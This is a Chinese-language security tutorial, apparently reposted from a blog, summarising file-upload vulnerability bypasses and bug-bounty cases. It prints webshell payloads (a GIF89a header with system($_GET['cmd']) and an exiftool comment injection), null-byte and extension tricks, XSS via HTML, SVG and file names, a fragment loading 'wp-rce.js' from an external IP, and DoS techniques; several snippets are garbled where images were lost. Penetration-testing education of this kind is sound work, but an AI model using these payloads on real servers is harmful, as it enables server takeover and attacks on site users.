.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总
文件上傳漏洞作為獲取服務(wù)器權(quán)限最快的方式,雖然相關(guān)資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產(chǎn)生危害等還是比較模糊。本文作一些闡述,然后補充一些除了上傳webshell的其他非常規(guī)挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎(chǔ)知識:
? 要深入了解文件上傳,必須了解上傳屬性、常見文件的結(jié)構(gòu)、圖形處理函數(shù)等內(nèi)容。
1)? 報文特點:
? ?觀察文件上傳報文的特點:
Header中Content-Type特征有二:
1.multipart/form-data(form表單的enctype屬性,規(guī)定為二進(jìn)制數(shù)據(jù))
2.boundary字符串(作用為分隔符,以區(qū)分POST數(shù)據(jù))
?POST內(nèi)容特征有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網(wǎng)頁的編碼,決定瀏覽器將以什么形式、什么編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個---
2)? 常見校驗規(guī)則
? ?現(xiàn)存常用的上傳校驗規(guī)則無非下面幾類:
1.客戶端javascript校驗(后綴名)
2.文件頭content-type字段校驗(image/gif):附帶參數(shù)
4.后綴名黑/白名單校驗:擴(kuò)展名
5.文件內(nèi)容頭校驗:GIF89a
6.文件內(nèi)容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
? 文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示“圖片無法顯示”;或者我們上傳的是jpg文件,但里面混有shell腳本,若被解析為php文件也會執(zhí)行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執(zhí)行成功。
? 還是回到安全的本質(zhì),上傳是“輸入”,那文件解析就是“輸出”,任何漏洞挖掘都需要結(jié)合輸入+輸出。
2、繞過技巧:
這里匯總一些實戰(zhàn)中較常用的繞過技巧:
1)后綴名黑名單
以下替換后綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統(tǒng)的文件命名規(guī)則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些后綴的文件會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容,從而只留下.php。
2)后綴名白名單
除了結(jié)合各種服務(wù)器解析特性,較常用的是Null Byte Injection空字節(jié)注入,插入空字節(jié)值的原因是某些應(yīng)用程序服務(wù)器腳本語言使用c/c++庫來檢查文件名和內(nèi)容。在C/C ++中,一行以/00結(jié)尾或稱為NullByte。因此,只要解釋器在字符串的末尾看到一個空字節(jié),就會停止讀取,認(rèn)為它已經(jīng)到達(dá)字符串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然后上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字符串視圖中找到文件名。查看相應(yīng)的Hex表,并將41('A')替換為00(為空字節(jié))。結(jié)果字符串變?yōu)镠appy.php(空).jpeg。由于php解釋器在內(nèi)部使用C語言庫,它將停止讀取Happy.php后的文件名,文件將保存為Happy.php。
?另一種繞過白名單的方法是使用雙后綴:shell.php.jpg。
3)? 文件頭
主要是檢測文件內(nèi)容開始處的文件幻數(shù),各文件頭:
PNG:8950 4E 47
JPG:FFD8 FF E0 00 10 4A 46 49 46
GIF:4749 46 38 39 61
? 可在hex模塊進(jìn)行編輯插入,后面加上shell代碼:
GIF89a; system($_GET['cmd']);# shellcode goes here ?>
4)? 文件內(nèi)容
如果上傳表單不檢查文件擴(kuò)展名但檢查文件的內(nèi)容,這種情況下我們可以上傳一個圖片馬,結(jié)果將執(zhí)行PHP代碼并省略JPG或GIF代碼,圖片馬的原理是不破壞文件本身的渲染情況下找一個空白區(qū)進(jìn)行填充代碼,一般會是圖片的注釋區(qū),可以使用copy命令或使用exiftool工具:
exiftool -Comment='<?php echo"
"; system($_GET['cmd']); ?>' file.jpg5)? 二次渲染
? 這是一種較高端的檢測,當(dāng)我們把包含惡意代碼的圖片上傳,下載到本地之后發(fā)現(xiàn)代碼被刪除,只剩圖片信息,這就是后臺對圖片內(nèi)容進(jìn)行了二次渲染。相當(dāng)于把原本屬于圖像數(shù)據(jù)的部分抓了出來,再用自己的API 或函數(shù)進(jìn)行重新渲染,通常php使用的是GD庫。但仍可以繞過,基本方法是通過對比GD庫處理之前和之后的圖片數(shù)據(jù),找出相同(未經(jīng)處理)的數(shù)據(jù)插入惡意腳本。拿GIF舉例,使用的函數(shù)是imagecreatefromgif():
?未經(jīng)渲染的數(shù)據(jù):
?渲染后的數(shù)據(jù):
? 發(fā)現(xiàn)EXIF數(shù)據(jù)在渲染之后發(fā)生了變化,但第四位行是空數(shù)據(jù),而且沒有發(fā)現(xiàn)變化,可以在這里插入shell數(shù)據(jù):
? ? ?經(jīng)測試上傳后,shell腳本依然存在,成功繞過二次渲染。
? ? ?JPG原理類似,PNG稍復(fù)雜一點,了解PNG格式的話任意很多,可以將Web shell放入PLTE塊(CBC值)或IDAT塊來繞過PNG內(nèi)容的渲染:
拓展思路,我們甚至可以在這種場景下圖片里插入script腳本造成xss攻擊:
http://example.org/images/test.png?zz=alert("thisis xss :(");
6)? 條件競爭
? ?很多上傳場景里會先將文件上傳到服務(wù)器,然后通過rename修改名稱再將原文件刪除,因此可以通過條件競爭的方式在文件刪除之前多線程訪問webshell。一般使用intruder同時發(fā)兩個包:上傳文件+訪問webshell地址:
8)其他技巧
A.多個分號繞過:
文件解析時,可能解析不到文件名,導(dǎo)致繞過。
Content-Disposition: form-data;name="file_x";;;filename="test.php"
B.多加一個filename(HPP):
C.多個Content-Disposition:
D.更多
使用超長文件名、構(gòu)造更多的點、符號等都是可以嘗試的技巧,有時會碰到上傳文件無法抓到包的情況,那可能是上傳時轉(zhuǎn)化為了流文件,建議放棄。
3、另類實戰(zhàn)挖掘案例:
1、Upload+XSS
文件上傳和XSS在實際測試中,有很多組合技。如果不能實現(xiàn)上傳shell,
不妨試試構(gòu)造XSS:
Twitter上傳HTML文件
白名單限制不嚴(yán),上傳后綴為jpg的html文件,抓包改回后綴名并修改content type 為text/html,點擊上傳的html文件成功彈框:
其實還可以構(gòu)造另一種漏洞:開放重定向:
這里將Content-Type設(shè)置為HTML類型,并在html文件前添加文件頭以繞過
后端的png文件內(nèi)容檢測。
Svg文件上傳觸發(fā)XSS:
擴(kuò)展名白名單允許上傳SVG文件,SVG可以在其代碼中包含HTML元素,構(gòu)造SVG文件:
上傳SVG文件:
右鍵——>屬性找到文件地址,尋找觸發(fā)位置:
導(dǎo)致存儲型XSS:
3)上傳文件名XSS
? 這類xss案例較多,某些場景會把文件名直接回顯在界面上,還有報錯信息可能會包含上傳的文件名,這樣就可構(gòu)造包含xss payload的文件名進(jìn)行xss:
? 還可進(jìn)一步利用進(jìn)行xssi,如文件名改為:
.png
?? 瀏覽器會把base64 encoded數(shù)據(jù)解碼為:
aob('Running POC
data-5ce-guid="c1a7cec1-0b2c-eb11-8da9-e4434bdf6706" data-src="http://img-02.proxy.5ce.com/view/image?&type=2&guid=c9a7cec1-0b2c-eb11-8da9-e4434bdf6706&url=http://159.203.190.123/w9rfas89eufs9e8fu98ewufjwefiojwe_s1058g-/wp-rce.js" data-lazy="true" src="http://thumb.5ce.com/images/loading.gif">');
??js文件的內(nèi)容對后端PHP進(jìn)行操作,從而造成RCE,這里在知道路徑的前提下可以把hello.php改為<?php phpinfo();重定向到此文件:
Tip:XSS在很多場景下如果利用得當(dāng),也可以達(dá)到RCE的效果,不可小覷。
2、DOS攻擊
1)上傳超大圖片導(dǎo)致DOS
? 頭像上傳處上傳一張超大圖片(4032*3024)14.5MB,觀察服務(wù)器CPU,php-fpm進(jìn)程占了100%,原因是第三方VCard代碼將屬性值拆分為75個字符。
Tips:嘗試上傳超大文件,可能造成報錯信息利用/Dos等攻擊
2)Pixel floodattack
? 像素洪水攻擊,需要準(zhǔn)備一個5kb,260x260像素的圖像。將260x260值改為0xfafa x 0xfafa(64250x64250像素)進(jìn)行交換。圖像一旦上傳,服務(wù)器通過將“整個圖像”加載到內(nèi)存中,它會嘗試將4128062500像素分配到內(nèi)存中,從而充斥內(nèi)存并導(dǎo)致DoS。
?漏洞原因是一個負(fù)責(zé)上傳和調(diào)整大小的部件Paperclip,由于給定的尺寸和實際尺寸不同,會使得處理圖片時發(fā)生混亂。這個圖片會讓windows圖片查看器在打開時發(fā)生同樣的問題。
同樣的問題還有Hackerone的一例:上傳圖片的限制為:圖像大小1 MB,圖像尺寸:2048x2048px;上傳由40k 1x1圖像組成的GIF則會造成dos攻擊,原因在于未檢查文件大小/(寬*高)的數(shù)值。
3)PNG 解壓DOS
PNG文件由多個塊組成,其中一個可選的輔助塊稱為zTXT(ztxt),此塊允許使用zlib庫存儲壓縮文本數(shù)據(jù)。
使用一個大小為50MB的文件,填充零,將它壓縮到大約49 KB”,因此將大量數(shù)據(jù)存儲在一個小的PNG(小于1 MB)。當(dāng)發(fā)送給HackerOne時,會造成服務(wù)超時,這同樣是Paperclip 的問題。
3、Upload+CSRF
用戶的頭像上傳功能處沒有CSRF保護(hù),URL為:
https://chaturbate.com/photo_videos/photoset/detail/[username]/[set_id]/
通過查看或遍歷id值,使用xhr構(gòu)造csrf poc模擬發(fā)包,實現(xiàn)任意用戶上傳圖片,從而影響賬戶的完整性。
4、上傳其他文件:
1)js文件覆蓋
跨目錄上傳惡意js文件覆蓋原js文件:
Tips:某些場景下對上傳路徑未做校驗,導(dǎo)致上傳文件到任意路徑。
2)xml文件上傳XXE
? 后續(xù)XXE漏洞中具體講解。
5、上傳路徑泄露:
??可以使用構(gòu)造畸形文件名/路徑、不可解析的文件名、跨目錄(/\..)、破壞結(jié)構(gòu)、上傳過大文件等方式盡可能使得返回異常exception報錯信息:
? 除此之外,文件上傳也可涉及到SSRF、反序列化、目錄遍歷、本地文件泄露、越權(quán)上傳等漏洞。總之多觀察上傳環(huán)境的特點,不要思維固化,從漏洞本質(zhì)出發(fā),多嘗試可能就有新發(fā)現(xiàn)。
4、挖掘思路
?上傳漏洞挖掘思路總結(jié)起來分三步:
? 1、首先嘗試直接上傳腳本文件進(jìn)行RCE;
? 2、若存在過濾,對于檢測機制進(jìn)行猜測,確定機制后嘗試?yán)@過;
? 3、若無法繞過上傳,插入腳本后尋找解析/文件包含漏洞;
? 4、換其他類型文件:html、js、svg等轉(zhuǎn)到挖掘其他漏洞。
總結(jié)
以上是生活随笔為你收集整理的.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 我国首颗超百 Gbps 容量通信卫星,中
- 下一篇: 欧拉公式cos_对复数,复数平面以及欧拉